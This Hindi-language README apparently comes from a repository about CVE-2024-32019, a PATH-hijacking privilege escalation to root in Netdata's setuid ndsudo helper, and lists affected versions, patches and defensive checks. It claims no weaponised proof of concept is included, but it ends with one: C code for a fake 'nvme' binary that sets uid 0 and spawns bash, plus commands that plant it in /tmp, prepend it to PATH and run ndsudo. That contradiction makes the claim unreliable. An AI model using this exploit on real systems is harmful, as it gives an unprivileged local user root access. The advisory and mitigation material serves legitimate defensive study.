
ndsudo स्थानीय विशेषाधिकार वृद्धिNetdata का ndsudo हेल्पर (setuid root के रूप में स्थापित) यह सीमित करता है कि वह कौन से कमांड चलाएगा, लेकिन उन कमांड्स को कॉलर के PATH का उपयोग करके हल करता है। प्रभावित संस्करणों में, एक स्थानीय उपयोगकर्ता PATH में पहले एक दुर्भावनापूर्ण बाइनरी रख सकता है और ndsudo को उसे रूट विशेषाधिकारों के साथ निष्पादित करवा सकता है। Netdata 1.45.3 और 1.45.0-169 में पैच किया गया।
प्रभावित: >= 1.44.0-60, < 1.45.0-169 और >= 1.45.0, < 1.45.3 (अपस्ट्रीम सलाह के अनुसार)।
पैच किया गया: 1.45.3 (स्थिर), 1.45.0-169 (नाइटली)। GitHub
उन सिस्टमों पर रूट तक स्थानीय विशेषाधिकार वृद्धि जहाँ ndsudo SUID के रूप में स्थापित है और उपयोगकर्ता इसे चला सकता है (सामान्यतः netdata समूह के सदस्य)। NVDGitHub
ndsudo SUID-root है और nvme-list, nvme-smart-log, आदि जैसे सबकमांड्स को व्हाइटलिस्ट करता है।
यह बाहरी निष्पादनयोग्यों को नाम से बुलाता है (जैसे, nvme), जिन्हें निरपेक्ष पथ या सुरक्षित, निश्चित खोज का उपयोग करने के बजाय PATH के माध्यम से हल किया जाता है।
यदि सिस्टम पथों से पहले कोई लिखने योग्य निर्देशिका आती है, तो एक हमलावर एक नकली बाइनरी डाल सकता है जो रूट के रूप में निष्पादित होती है। GitHub
इस रिपॉजिटरी में गैर-एक्सप्लॉइट जाँचकर्ता शामिल हैं जो:
SUID/स्वामित्व के लिए /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (या जहाँ भी स्थापित हो) का निरीक्षण करते हैं।
सामान्य सिस्टम पथों से पहले लिखने योग्य निर्देशिकाओं के लिए PATH सूचीबद्ध करते हैं।
उन व्हाइटलिस्ट किए गए सबकमांड नामों की उपस्थिति की पुष्टि करते हैं जिन्हें ndsudo निष्पादित करने का प्रयास कर सकता है।
वैकल्पिक रूप से हल किए गए कमांड को निष्पादित किए बिना प्रिंट करने के लिए ndsudo --test <subcommand> चलाते हैं (सावधानी से उपयोग करें, पहले कोड पढ़ें)। GitHub
⚠️ कोई हथियारबद्ध PoC शामिल नहीं है। यह प्रोजेक्ट रक्षकों और शोधकर्ताओं के लिए है ताकि वे जिम्मेदारी से जोखिम का आकलन कर सकें और पैच को मान्य कर सकें।
Netdata को 1.45.3 (स्थिर) या 1.45.0-169 (नाइटली) में अपग्रेड करें।
रक्षा-गहराई उपाय के रूप में, SUID हेल्परों में निरपेक्ष पथ या स्वच्छ न्यूनतम PATH को प्राथमिकता दें; अनावश्यक ndsudo पहुँच देने से बचें। GitHubwiz.io
nvme.c के रूप में सहेजें:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH संशोधित करेंexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata सलाह (GHSA-pmhq-4cxq-wj93). GitHub
Wiz सारांश. wiz.io
Snyk विवरण. Vulnerability Guide
MITRE/CVE सूची. CVE